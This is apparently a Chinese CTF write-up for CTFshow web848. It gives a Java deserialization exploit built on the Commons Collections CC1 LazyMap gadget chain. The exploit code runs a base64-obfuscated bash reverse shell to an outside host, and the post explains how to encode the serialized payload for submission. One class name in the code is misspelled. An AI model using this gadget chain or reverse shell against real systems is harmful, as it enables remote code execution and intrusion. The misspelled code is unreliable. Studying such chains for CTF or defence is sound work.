跳转至

每日一题 —— [CTFshow]web848

题目地址:https://ctf.show/challenges#web848-3923

打开题目,继续是 CC 链的内容。题目描述说到不允许使用 TransformedMap 这个类,我们使用上次的 payload 试一下,发现报错,内容是 ClassNotFoundException ,描述为 Class Not Support, 确认了我们上次的 CC1 链已经失效了。但是我们在 CC1 链的基础上,还有一条 LazyMap 的分支。

我们先参照这篇博客,准备好 CC1 LazyMap 分支的 EXP,然后和上一题一样,使用这个命令执行: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash

最终 exp:

public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
    // 构造 chainedTransformer
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTrgnsformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash"}),
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    // bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC93d3cuc3hyaGhoLnRvcC8yMzMzIDA+JjE=}|{base64,-d}|bash

    // 构造 一个普通的 Map 用来初始化第一个 AnnotationInvocationHandler
    HashMap<Object, Object> map = new HashMap<>();
    Map<Object, Object> lazyMap = (Map) LazyMap.decorate(map, chainedTransformer);

    // 构造第一个作为动态代理类执行 invoke 方法触发 lazymap 的 get 方法的 annotationInvocationHandler
    Class annotationInvocationHdlClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = annotationInvocationHdlClass.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    InvocationHandler hdl1 = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);


    // 将 hdl1 代理给 lazymap, 生成 proxyMap
    Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),  hdl1);

    // 构造第二个用于触发无参方法的 AnnotationInvocationHandler
    Object hdl2 = constructor.newInstance(Override.class, proxyMap);

    serialize(hdl2, "ser.bin");
    }

最后将 ser.bin 文件进行 base64 编码,然后 urlencode 就可以提交了。

cat ser.bin | base64 -w 0

文章热度:0次阅读